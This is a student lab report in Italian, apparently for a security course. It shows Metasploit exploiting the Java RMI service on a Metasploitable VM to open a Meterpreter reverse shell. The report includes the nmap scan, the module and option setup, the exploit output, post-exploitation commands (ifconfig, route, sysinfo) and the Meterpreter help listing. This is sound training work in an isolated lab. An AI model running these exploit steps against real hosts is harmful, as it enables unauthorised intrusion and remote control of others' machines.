

Progetto Modulo 4

Traccia

Esercizio Traccia e requisiti La nostra macchina Metasploitable presenta un servizio vulnerabile sulla porta 1099 – Java RMI. Si richiede allo studente, ripercorrendo gli step visti nelle lezioni teoriche, di sfruttare la vulnerabilità con Metasploit al fine di ottenere una sessione di Meterpreter sulla macchina remota. I requisiti dell'esercizio sono:- La macchina attaccante (KALI) deve avere il seguente indirizzo IP: 192.168.11.111- La macchina vittima (Metasploitable) deve avere il seguente indirizzo IP: 192.168.11.112- Una volta ottenuta una sessione remota Meterpreter, lo studente deve raccogliere le seguenti evidenze sulla macchina remota:

- 1) configurazione di rete;
- 2) informazioni sulla tabella di routing della macchina vittima
- 3) altro...

Assegnazione Indirizzi kali (192.168.11.111) e Metasploitable (192.168.11.112)

```
(kali@kali)-[~]
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.11.111 netmask 255.255.255.0 broadcast 192.168.11.255
    inet6 fe80::a00:27ff:fed2:2679 prefixlen 64 scopeid 0x20<link>
    ether 08:00:27:d2:26:79 txqueuelen 1000 (Ethernet)
    RX packets 336 bytes 51374 (50.1 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 547 bytes 282408 (275.7 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 72 bytes 8976 (8.7 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 72 bytes 8976 (8.7 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

(kali@kali)-[~]
```

```
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:4d:70:f9
          inet addr:192.168.11.112  Bcast:192.168.11.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe4d:70f9/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:29 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:3526 (3.4 KB)
          Base address:0xd020  Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:104 errors:0 dropped:0 overruns:0 frame:0
          TX packets:104 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:25525 (24.9 KB)  TX bytes:25525 (24.9 KB)

msfadmin@metasploitable:~$ _
```

Con nmap andiamo a verificare se il servizio è attivo e vulnerabile. Dall'esito si nmap vediamo che tal'è il caso.

kali-linux-2024.2-virtualbox-amd64 [Running] - Oracle VM VirtualBox

File Machine View Input Devices Help

```
File Actions Edit View Help
(kali@kali)-[~]
$ nmap 192.168.11.112 -sV
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-07 20:50 EDT
Nmap scan report for 192.168.11.112
Host is up (0.037s latency).
Not shown: 983 closed tcp ports (conn-refused)
PORT      STATE SERVICE        VERSION
22/tcp    open  ssh            OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
25/tcp    open  smtp?
53/tcp    open  domain         ISC BIND 9.4.2
80/tcp    open  http           Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn    Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
1099/tcp  open  java-rmi       GNU Classpath grmiregistry
2049/tcp  open  rpcbind
2121/tcp  open  ccproxy-ftp?
3306/tcp  open  mysql?
5432/tcp  open  postgresql     PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc            VNC (protocol 3.3)
6000/tcp  open  X11            (access denied)
6667/tcp  open  irc            UnrealIRCd
8009/tcp  open  ajp13          Apache Jserv (Protocol v1.3)
8180/tcp  open  unknown
Service Info: Host: irc.Metasploitable.LAN; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 181.67 seconds

(kali@kali)-[~]
$
```

Studente: Isabelle Adjetej

A questo punto, si può fare partire Metasploit da console con il comando MSFConsole,

```
(kaliⓈkali)-[~]
$ msfconsole
Metasploit tip: Use the analyze command to suggest runnable modules for hosts

Metasploit

=[ metasploit v6.4.9-dev ]
+ -- --=[ 2420 exploits - 1248 auxiliary - 423 post ]
+ -- --=[ 1468 payloads - 47 encoders - 11 nops ]
+ -- --=[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 >
```

Utilizzando il comando **search java_rmi**, andiamo a cercare un exploit da usare nel nostro caso. Quello in riga 1 sembra il più interessante. Lo andiamo ad utilizzare inviando il comando use seguito del nome completo dell'exploit.

Notiamo che di default Metasploit ci assegna il payload «java/meterpreter/reverse_tcp», come mostrato nella figura soprastante

```
msf6 >
msf6 > search java_rmi

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
-  -                                     -              -      -      -
0  auxiliary/gather/java_rmi_registry        .              normal  No     Java RMI Registry Interfaces Enumeration
1  exploit/multi/misc/java_rmi_server        2011-10-15     excellent Yes    Java RMI Server Insecure Default Configuration Java Code Execution
2  \ target: Generic (Java Payload)          .              .      .      .
3  \ target: Windows x86 (Native Payload)    .              .      .      .
4  \ target: Linux x86 (Native Payload)      .              .      .      .
5  \ target: Mac OS X PPC (Native Payload)   .              .      .      .
6  \ target: Mac OS X x86 (Native Payload)   .              .      .      .
7  auxiliary/scanner/misc/java_rmi_server    2011-10-15     normal  No     Java RMI Server Insecure Endpoint Code Execution Scanner
8  exploit/multi/browser/java_rmi_connection_impl 2010-03-31     excellent No     Java RMIConnectionImpl Deserialization Privilege Escalation

Interact with a module by name or index. For example info 8, use 8 or use exploit/multi/browser/java_rmi_connection_impl

msf6 > use exploit/multi/misc/java_rmi_server

[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) >
```

Studente: Isabelle Adjetej

Controlliamo le opzioni da inserire utilizzando il comando «show options»

```
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) >
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):



| Name      | Current Setting | Required | Description                                                                                                                           |
|-----------|-----------------|----------|---------------------------------------------------------------------------------------------------------------------------------------|
| HTTPDELAY | 10              | yes      | Time that the HTTP Server will wait for the payload request                                                                           |
| RHOSTS    |                 | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html                                |
| RPORT     | 1099            | yes      | The target port (TCP)                                                                                                                 |
| SRVHOST   | 0.0.0.0         | yes      | The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. |
| SRVPORT   | 8080            | yes      | The local port to listen on.                                                                                                          |
| SSL       | false           | no       | Negotiate SSL for incoming connections                                                                                                |
| SSLCert   |                 | no       | Path to a custom SSL certificate (default is randomly generated)                                                                      |
| URIPATH   |                 | no       | The URI to use for this exploit (default is random)                                                                                   |



Payload options (java/meterpreter/reverse_tcp):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.11.111  | yes      | The listen address (an interface may be specified) |


```

Configuriamo il parametro RHOSTS con l'indirizzo della macchina target cioè di metasploitable.

Vediamo in figura che LHOST, indirizzo dell'attaccante è già inserita.

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.11.112
RHOSTS => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):



| Name      | Current Setting | Required | Description                                                                                                                           |
|-----------|-----------------|----------|---------------------------------------------------------------------------------------------------------------------------------------|
| HTTPDELAY | 10              | yes      | Time that the HTTP Server will wait for the payload request                                                                           |
| RHOSTS    | 192.168.11.112  | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html                                |
| RPORT     | 1099            | yes      | The target port (TCP)                                                                                                                 |
| SRVHOST   | 0.0.0.0         | yes      | The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses. |
| SRVPORT   | 8080            | yes      | The local port to listen on.                                                                                                          |
| SSL       | false           | no       | Negotiate SSL for incoming connections                                                                                                |
| SSLCert   |                 | no       | Path to a custom SSL certificate (default is randomly generated)                                                                      |
| URIPATH   |                 | no       | The URI to use for this exploit (default is random)                                                                                   |



Payload options (java/meterpreter/reverse_tcp):



| Name  | Current Setting | Required | Description                                        |
|-------|-----------------|----------|----------------------------------------------------|
| LHOST | 192.168.11.111  | yes      | The listen address (an interface may be specified) |
| LPORT | 4444            | yes      | The listen port                                    |



Exploit target:



| Id | Name                   |
|----|------------------------|
| 0  | Generic (Java Payload) |



View the full module info with the info, or info -d command.
```

A questo punto, non ci resta più che inviare il comando exploit per fare partire meterpreter.

```
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/Nx6lpNWEVe
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (57971 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:53440) at 2024-09-08 15:53:47 -0400
```

Studente: Isabelle Adjetey

1) con il comando **ifconfig** recuperiamo la configurazione di rete della macchina attaccata

```
meterpreter > ifconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe4d:70f9
IPv6 Netmask : ::

meterpreter > █
```

2) Otteniamo con il comando **route** le informazioni sulla tabella di routing della macchina attaccata

```
meterpreter > route

IPv4 network routes
=====

Subnet      Netmask      Gateway      Metric      Interface
-----
127.0.0.1   255.0.0.0    0.0.0.0
192.168.11.112 255.255.255.0 0.0.0.0

IPv6 network routes
=====

Subnet      Netmask      Gateway      Metric      Interface
-----
::1         ::           ::
fe80::a00:27ff:fe4d:70f9 ::           ::
```

3) altro

Il comando **sysinfo** ci permette di recuperare delle informazioni importanti sulla macchina attaccata come nome, sistema operativo, architettura e lingua di sistema.

Studente: Isabelle Adjetey

```
meterpreter > sysinfo
Computer      : metasploitable
OS            : Linux 2.6.24-16-server (i386)
Architecture : x86
System Language : en_US
Meterpreter   : java/linux
meterpreter > █
```

Con **help** abbiamo una lista dei comandi che possiamo usare e la loro descrizione

```
meterpreter > help

Core Commands
=====
```

Command	Description
?	Help menu
background	Backgrounds the current session
bg	Alias for background
bgkill	Kills a background meterpreter script
bglist	Lists running background scripts
bgrun	Executes a meterpreter script as a background thread
channel	Displays information or control active channels
close	Closes a channel
detach	Detach the meterpreter session (for http/https)
disable_unicode_encoding	Disables encoding of unicode strings
enable_unicode_encoding	Enables encoding of unicode strings
exit	Terminate the meterpreter session
get_timeouts	Get the current session timeout values
guid	Get the session GUID
help	Help menu
info	Displays information about a Post module
irb	Open an interactive Ruby shell on the current session
load	Load one or more meterpreter extensions
machine_id	Get the MSF ID of the machine attached to the session
pry	Open the Pry debugger on the current session
quit	Terminate the meterpreter session
read	Reads data from a channel
resource	Run the commands stored in a file
run	Executes a meterpreter script or Post module
secure	(Re)Negotiate TLV packet encryption on the session
sessions	Quickly switch to another session
set_timeouts	Set the current session timeout values
sleep	Force Meterpreter to go quiet, then re-establish session
transport	Manage the transport mechanisms
use	Deprecated alias for "load"
uuid	Get the UUID for the current session
write	Writes data to a channel

```
Stdapi: File system Commands
=====
```

Command	Description
cat	Read the contents of a file to the screen
cd	Change directory
checksum	Retrieve the checksum of a file
cp	Copy source to destination
del	Delete the specified file
dir	List files (alias for ls)
download	Download a file or directory
edit	Edit a file
getlwd	Print local working directory (alias for lpwd)
getwd	Print working directory
lcat	Read the contents of a local file to the screen
lcd	Change local working directory
ldir	List local files (alias for lls)
lls	List local files
lmkdir	Create new directory on local machine
lpwd	Print local working directory
ls	List files
mkdir	Make directory
mv	Move source to destination
pwd	Print working directory

Stdapi: Networking Commands

<u>Command</u>	<u>Description</u>
ifconfig	Display interfaces
ipconfig	Display interfaces
portfwd	Forward a local port to a remote service
resolve	Resolve a set of host names on the target
route	View and modify the routing table

Stdapi: System Commands

<u>Command</u>	<u>Description</u>
execute	Execute a command
getenv	Get one or more environment variable values
getpid	Get the current process identifier
getuid	Get the user that the server is running as
localtime	Displays the target system local date and time
pgrep	Filter processes by name
ps	List running processes
shell	Drop into a system command shell
sysinfo	Gets information about the remote system, such as OS

Stdapi: User interface Commands

<u>Command</u>	<u>Description</u>
keyevent	Send key events
mouse	Send mouse events
screenshare	Watch the remote user desktop in real time
screenshot	Grab a screenshot of the interactive desktop

Stdapi: Webcam Commands

<u>Command</u>	<u>Description</u>
record_mic	Record audio from the default microphone for X seconds

Stdapi: Audio Output Commands

<u>Command</u>	<u>Description</u>
play	play a waveform audio file (.wav) on the target system